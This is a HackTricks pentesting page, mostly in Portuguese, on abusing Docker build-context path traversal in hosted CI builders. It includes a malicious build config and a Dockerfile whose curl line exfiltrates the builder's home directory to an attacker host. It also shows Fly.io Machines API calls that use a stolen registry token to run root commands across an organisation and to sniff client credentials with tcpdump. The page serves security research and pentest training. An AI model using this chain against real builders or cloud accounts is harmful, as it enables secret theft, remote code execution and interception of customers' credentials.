Files
hacktricks-cloud/src/pentesting-ci-cd/docker-build-context-abuse.md

5.3 KiB
Raw Blame History

Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)

{{#include ../banners/hacktricks-training.md}}

TL;DR

Se uma plataforma CI/CD ou hosted builder permite que contribuidores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e incluir arquivos do host no build context. Em seguida, um Dockerfile controlado pelo atacante pode usar COPY e exfiltrate secrets encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização.

Attack surface

Muitos serviços de hosted builder/registry fazem algo nessa linha ao construir imagens submetidas por usuários:

  • Ler uma repo-level config que inclui:
  • build context path (sent to the Docker daemon)
  • Dockerfile path relative to that context
  • Copiar o diretório do build context indicado e o Dockerfile para o Docker daemon
  • Build the image and run it as a hosted service

Se a plataforma não canonicalize e restrinja o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user passem a fazer parte do build context e fiquem disponíveis para COPY no Dockerfile.

Restrições práticas comumente observadas:

  • O Dockerfile deve residir dentro do caminho do contexto escolhido e seu caminho deve ser conhecido antecipadamente.
  • O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia.

PoC: Path traversal via Docker build context

Example malicious server config declaring a Dockerfile within the parent directory context:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Notas:

  • Usar ".." frequentemente resolve para o diretório home do usuário builder (p.ex., /home/builder), que tipicamente contém arquivos sensíveis.
  • Coloque seu Dockerfile dentro do diretório com o nome do repo (p.ex., repo "test" → test/Dockerfile) para que ele permaneça dentro do contexto pai expandido.

PoC: Dockerfile para ingerir e exfiltrar o contexto do host

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Alvos comumente recuperados de $HOME:

  • ~/.docker/config.json (registry auths/tokens)
  • Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos.

Pivot na cloud com overprivileged tokens (exemplo: Fly.io Machines API)

Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para a control-plane API. Se você exfiltrate um registry token, tente usálo contra a API do provedor.

Exemplo de chamadas à API contra Fly.io Machines API usando o token roubado de ~/.docker/config.json:

Enumerar apps em uma org:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Executar um comando como root dentro de qualquer máquina de um app:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Resultado: remote code execution em toda a organização, afetando todos os apps hospedados quando o token possui privilégios suficientes.

Roubo de segredos de serviços hospedados comprometidos

Com exec/RCE em servidores hospedados, você pode coletar segredos fornecidos pelo cliente (API keys, tokens) ou realizar prompt-injection attacks. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params.

Referências

{{#include ../banners/hacktricks-training.md}}